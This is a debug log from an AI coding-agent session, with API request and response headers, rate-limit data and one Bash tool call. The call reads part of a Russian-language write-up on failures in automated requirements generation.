[STDOUT]   method: \"POST\",\n[2026-09-29T07:49:44.195Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:49:44.207Z] [STDOUT]   options: {\n[2026-09-29T07:49:44.210Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:49:44.213Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:49:44.218Z] [STDOUT]     body: {\n[2026-09-29T07:49:44.223Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:49:44.241Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:49:44.248Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:49:44.255Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:49:44.257Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:49:44.259Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:49:44.261Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:49:44.264Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:49:44.266Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:49:44.268Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:49:44.270Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:49:44.272Z] [STDOUT]       stream: true,\n[2026-09-29T07:49:44.274Z] [STDOUT]     },\n[2026-09-29T07:49:44.276Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:49:44.279Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:49:44.281Z] [STDOUT]       aborted: false,\n[2026-09-29T07:49:44.283Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:49:44.284Z] [STDOUT]       onabort: null,\n[2026-09-29T07:49:44.286Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:49:44.292Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:49:44.294Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:49:44.295Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:49:44.297Z] [STDOUT]     },\n[2026-09-29T07:49:44.299Z] [STDOUT]     stream: true,\n[2026-09-29T07:49:44.301Z] [STDOUT]   },\n[2026-09-29T07:49:44.304Z] [STDOUT]   headers: {\n[2026-09-29T07:49:44.306Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:49:44.308Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:49:44.311Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:49:44.313Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:49:44.315Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:49:44.317Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:49:44.318Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:49:44.320Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:49:44.321Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:49:44.323Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1677\",\n[2026-09-29T07:49:44.324Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:49:44.326Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:49:44.328Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:44.330Z] [STDOUT]     \"x-client-request-id\": \"025d35b1-312c-4bdb-9092-fa7225a11c8c\",\n[2026-09-29T07:49:44.332Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:49:44.333Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:49:44.335Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:49:44.339Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:49:44.353Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:49:44.365Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:49:44.373Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:49:44.374Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:49:44.378Z] [STDOUT]   },\n[2026-09-29T07:49:44.381Z] [STDOUT] }\n[2026-09-29T07:49:44.969Z] [STDOUT] [log_53d4c6, request-id: \"req_011CfXN5sxAHrJ87BXUsKEdj\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 783ms\n[2026-09-29T07:49:44.981Z] [STDOUT] [log_53d4c6] response start {\n[2026-09-29T07:49:44.985Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:49:44.988Z] [STDOUT]   status: 200,\n[2026-09-29T07:49:44.993Z] [STDOUT]   headers: {\n[2026-09-29T07:49:44.995Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:49:44.997Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:49:45.003Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:49:45.012Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.38\",\n[2026-09-29T07:49:45.018Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:49:45.021Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:49:45.027Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:49:45.035Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:49:45.045Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:49:45.049Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:49:45.052Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:49:45.056Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:49:45.060Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:49:45.064Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:49:45.067Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:49:45.070Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:49:45.074Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:49:45.079Z] [STDOUT]     \"cf-ray\": \"a429649739b729ad-FRA\",\n[2026-09-29T07:49:45.082Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:49:45.084Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:49:45.089Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:49:45.093Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:49:45.097Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:49:44 GMT\",\n[2026-09-29T07:49:45.104Z] [STDOUT]     \"request-id\": \"req_011CfXN5sxAHrJ87BXUsKEdj\",\n[2026-09-29T07:49:45.113Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:49:45.138Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:49:45.146Z] [STDOUT]     traceresponse: \"00-0ec9a94b673e09dda94eebd7f2406edf-3a3a07a5cb03ec70-01\",\n[2026-09-29T07:49:45.151Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:49:45.158Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:49:45.161Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:49:45.167Z] [STDOUT]   },\n[2026-09-29T07:49:45.169Z] [STDOUT]   durationMs: 783,\n[2026-09-29T07:49:45.171Z] [STDOUT] }\n[2026-09-29T07:49:45.173Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:49:45.175Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:49:44 GMT\",\n[2026-09-29T07:49:45.179Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:49:45.183Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:49:45.185Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:49:45.187Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:49:45.189Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:49:45.191Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:49:45.193Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:49:45.201Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:49:45.204Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:49:45.209Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:49:45.211Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:49:45.215Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:49:45.221Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.38\",\n[2026-09-29T07:49:45.235Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:49:45.240Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:49:45.249Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:49:45.257Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:49:45.259Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:49:45.261Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:49:45.265Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:49:45.267Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:49:45.269Z] [STDOUT]   \"request-id\": \"req_011CfXN5sxAHrJ87BXUsKEdj\",\n[2026-09-29T07:49:45.271Z] [STDOUT]   \"traceresponse\": \"00-0ec9a94b673e09dda94eebd7f2406edf-3a3a07a5cb03ec70-01\",\n[2026-09-29T07:49:45.272Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:49:45.274Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:49:45.276Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:49:45.277Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:49:45.280Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:49:45.287Z] [STDOUT]   \"cf-ray\": \"a429649739b729ad-FRA\",\n[2026-09-29T07:49:45.302Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:49:45.306Z] [STDOUT] [log_53d4c6] response parsed {\n[2026-09-29T07:49:45.310Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:49:45.313Z] [STDOUT]   status: 200,\n[2026-09-29T07:49:45.316Z] [STDOUT]   body: X {\n[2026-09-29T07:49:45.318Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:49:45.321Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:49:45.323Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:49:45.326Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:49:45.330Z] [STDOUT]     },\n[2026-09-29T07:49:45.333Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:49:45.335Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:49:45.338Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:49:45.341Z] [STDOUT]   },\n[2026-09-29T07:49:45.346Z] [STDOUT]   durationMs: 784,\n[2026-09-29T07:49:45.349Z] [STDOUT] }\n[2026-09-29T07:49:45.493Z] [INFO] {\n[2026-09-29T07:49:45.493Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:49:45.493Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:49:45.493Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:49:45.493Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:49:45.493Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:45.493Z] [INFO]   \"uuid\": \"772d21a4-6e94-45d4-8837-0c6f5d102fb8\"\n[2026-09-29T07:49:45.493Z] [INFO] }\n[2026-09-29T07:49:46.932Z] [INFO] {\n[2026-09-29T07:49:46.932Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:49:46.932Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:49:46.932Z] [INFO]   \"estimated_tokens\": 150,\n[2026-09-29T07:49:46.932Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:49:46.932Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:46.932Z] [INFO]   \"uuid\": \"ee6d1f88-7837-491c-bce1-c21904d38a22\"\n[2026-09-29T07:49:46.932Z] [INFO] }\n[2026-09-29T07:49:47.279Z] [INFO] {\n[2026-09-29T07:49:47.279Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:49:47.279Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:49:47.279Z] [INFO]   \"estimated_tokens\": 276,\n[2026-09-29T07:49:47.279Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:49:47.279Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:47.279Z] [INFO]   \"uuid\": \"5c322f4a-cc30-4aff-b476-e2092db4faf5\"\n[2026-09-29T07:49:47.279Z] [INFO] }\n[2026-09-29T07:49:47.286Z] [INFO] {\n[2026-09-29T07:49:47.286Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:49:47.286Z] [INFO]   \"message\": {\n[2026-09-29T07:49:47.286Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:49:47.286Z] [INFO]     \"id\": \"msg_011CfXN5tTRVTjy1pFNX5DWR\",\n[2026-09-29T07:49:47.286Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:49:47.286Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:49:47.286Z] [INFO]     \"content\": [\n[2026-09-29T07:49:47.286Z] [INFO]       {\n[2026-09-29T07:49:47.286Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:49:47.286Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:49:47.286Z] [INFO]         \"signature\": \"CAQSxggKEAgSGAI4AUIIdGhpbmtpbmcSDDnko6QM7QiMvpjBdhoM/A2IKxaeGa1LhfywIjCRMOreQRxDD1IaKByNx+kRjbVKiXxfvDJDMzmP7EQNifJfCUKATHdRrBmk7rnZeIcq4wcKqBQ7ZwkV08qU1p6ZKYvkjCthA8MHYxbZec/s3LgsBm1hqlpGXm2PL6Gh9pPYPgeVtnmhtKO7ho9qToHysBpriwZBIgIv3SJ4i26Sb289Z3nvyrSdssQmoqBH+bxKb7yq3ToZkihqHxKFkdFQ6kcV5mJ+ZCIBDhFNVES+v77b8aGpPxRpU50kfBBmU1MZyGj3oIqqpekYKL4l1uK1dxh1H/YJhOvCHjLjgCvetdndNUvgDt1IXa+TJ3AprkDuI1a8QrAPfdKyA7j3eMVmo0TcTKeGvjBwJxpXzzmd9s3VNTusC+q2jaQEwkfrzOJJdCt7B8cGk0lVWu2R5wtcdB2v6BXD6SojTb5VOUvazmNMClYBSPH5Rf8FWfAJ6dIoLhs7JpbtyqySv9pf+EpjIk/nutYYW7MY0pyhz32whrJ9t4IjuZVQAy74J8v8Z6/3jHW+ilpwMbxmYneWdJ/FizPiasVqn6lBp8/el3ksX9/vUv7HKvR7wiwat867jU1r7scUrc4/2P5SkNty49m3mUo4O2/8ANNQK45HMfO/u9haQf0qwxH998+mwzmDl9NJj30GYIshP/lIc1m2zj+lzTE0oQ/0qkPBVTgjR4Ri8OK6r5HPNvQ+RNQyqFLOVGm9IflHqcC8v47zKY2WtPwtO9PkOxPJY2+nTSW3YabxCXk4iBZzcmOFLwLkqARBwqHBRCXlLndbjgNCxm9rw4gJxuIKOwg1kMXDHbTCHiVw/VEbTaOYoZrkTck3/zHSgMWmgxuXsMtGFPt5tumAKeY9yXhaiBgimXIymcwLjE2XjciAro8GuEli2CJzcrUhVirgard0nFyEMNQ+fdbZ2LGcfsGzbacB2dqboSN49kogsUfPnowd1CK82Usofw1NS05TDGTyRoZoHXA64rCP54eptVRhzFRAktkGQm+QUK1DLzf6XLRZgwpK6svbFP3gZ2JwoEl8jgqSSy1aWND2aHB9rE1f/POQwPyQEBwoF7ZSqUgFaH9DSnGLecCg+pGCbnkI0q8VtDIpctRISOCW33VheUv2QYY/idPEWZLT3cIfsiauO+LCNBzcfXzxGUmLyL4SSbmrgQRSC517OBu79Zoivle5sxz2hYKlRq593bLeT3PPxJ18/tea5OWOUnByleZpYY2nTgGhqZvBimLjeRVcyNQIiOJPSi79R5CSQ/bQbEn/6/Ic2xCGh4kqpIqcxnz50gqYHviuiX9wii8wFQzw1cUX7y3oE7ByfUZehUm6rAEyo9NsErn6ngWU2Cuw1EqHj9zqsQJoaEld2JMG4MCVbrRrUUbKSjrDIvvrqP274GPNJDJ/OhgB\"\n[2026-09-29T07:49:47.286Z] [INFO]       }\n[2026-09-29T07:49:47.286Z] [INFO]     ],\n[2026-09-29T07:49:47.286Z] [INFO]     \"container\": null,\n[2026-09-29T07:49:47.286Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:49:47.286Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:49:47.286Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:49:47.286Z] [INFO]     \"usage\": {\n[2026-09-29T07:49:47.286Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:49:47.286Z] [INFO]       \"cache_creation_input_tokens\": 6213,\n[2026-09-29T07:49:47.286Z] [INFO]       \"cache_read_input_tokens\": 73375,\n[2026-09-29T07:49:47.286Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:49:47.286Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:49:47.286Z] [INFO]         \"ephemeral_1h_input_tokens\": 6213\n[2026-09-29T07:49:47.286Z] [INFO]       },\n[2026-09-29T07:49:47.286Z] [INFO]       \"output_tokens\": 4,\n[2026-09-29T07:49:47.286Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:49:47.286Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:49:47.286Z] [INFO]     },\n[2026-09-29T07:49:47.286Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:49:47.286Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:49:47.286Z] [INFO]     \"context_management\": null\n[2026-09-29T07:49:47.286Z] [INFO]   },\n[2026-09-29T07:49:47.286Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:49:47.286Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:47.286Z] [INFO]   \"uuid\": \"7282d08c-806d-4798-8ae0-cb3e119e6499\",\n[2026-09-29T07:49:47.286Z] [INFO]   \"timestamp\": \"2026-09-29T07:49:47.278Z\",\n[2026-09-29T07:49:47.286Z] [INFO]   \"request_id\": \"req_011CfXN5sxAHrJ87BXUsKEdj\"\n[2026-09-29T07:49:47.286Z] [INFO] }\n[2026-09-29T07:49:48.325Z] [INFO] {\n[2026-09-29T07:49:48.325Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:49:48.325Z] [INFO]   \"message\": {\n[2026-09-29T07:49:48.325Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:49:48.325Z] [INFO]     \"id\": \"msg_011CfXN5tTRVTjy1pFNX5DWR\",\n[2026-09-29T07:49:48.325Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:49:48.325Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:49:48.325Z] [INFO]     \"content\": [\n[2026-09-29T07:49:48.325Z] [INFO]       {\n[2026-09-29T07:49:48.325Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:49:48.325Z] [INFO]         \"id\": \"toolu_016QzXSiSLeTUXSpG86Y33vp\",\n[2026-09-29T07:49:48.325Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:49:48.325Z] [INFO]         \"input\": {\n[2026-09-29T07:49:48.325Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; F=projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md; sed -n 1,60p $F | grep -v \\\"^  - \\\" | cut -c1-500 | sed -n 12,60p\",\n[2026-09-29T07:49:48.325Z] [INFO]           \"description\": \"Read forensics BLUF for exact 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\"toolu_016QzXSiSLeTUXSpG86Y33vp\",\n[2026-09-29T07:49:49.566Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:49:49.566Z] [INFO]         \"content\": \"# \u0424\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u0441\u0442\u0440\u043e\u0433\u0438\u0439 \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n\\n## \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\\n\\n\u041a\u043e\u0440\u043f\u0443\u0441 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043d\u0435 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438, \u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445\\n\u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u0430: \u043d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f; \u0442\u0435\u043a\u0443\u0449\u0435\u0435\\n\u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435, \u0440\u0435\u0448\u0435\u043d\u0438\u0435, UI \u0438\u043b\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u043c\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435\u043c; \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438;\\n\u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0438 \u0442\u043e\u0447\u043d\u043e\u0433\u043e\\n\u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430. \u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d\\n\u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441 \u0440\u0430\u0437\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430\u043c\u0438 \u0434\u043b\u044f FR, UC \u0438 NFR, \u0440\u0435\u0435\u0441\u0442\u0440\u043e\u043c\\n\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u043c\u0430\u0442\u0440\u0438\u0446\u0435\u0439 `as-is \u2192 delta`, \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0439 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u043e\u0439 \u0438 \u0442\u0440\u0435\u043c\u044f \u0433\u0435\u0439\u0442\u0430\u043c\u0438:\\n\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c.\\n\\n\u041f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0435 \u043d\u0438\u0436\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0443\u0441\u0438\u043b\u0438\u0432\u0430\u044e\u0442, \u043d\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u044e\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439\\n[RFC \u0443\u0440\u043e\u0432\u043d\u044f \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md).\\n\u0418\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u043f\u0440\u0438\u043d\u044f\u0442\u044b \u043a\u0430\u043a \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f Source-\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u0432\\n[issue 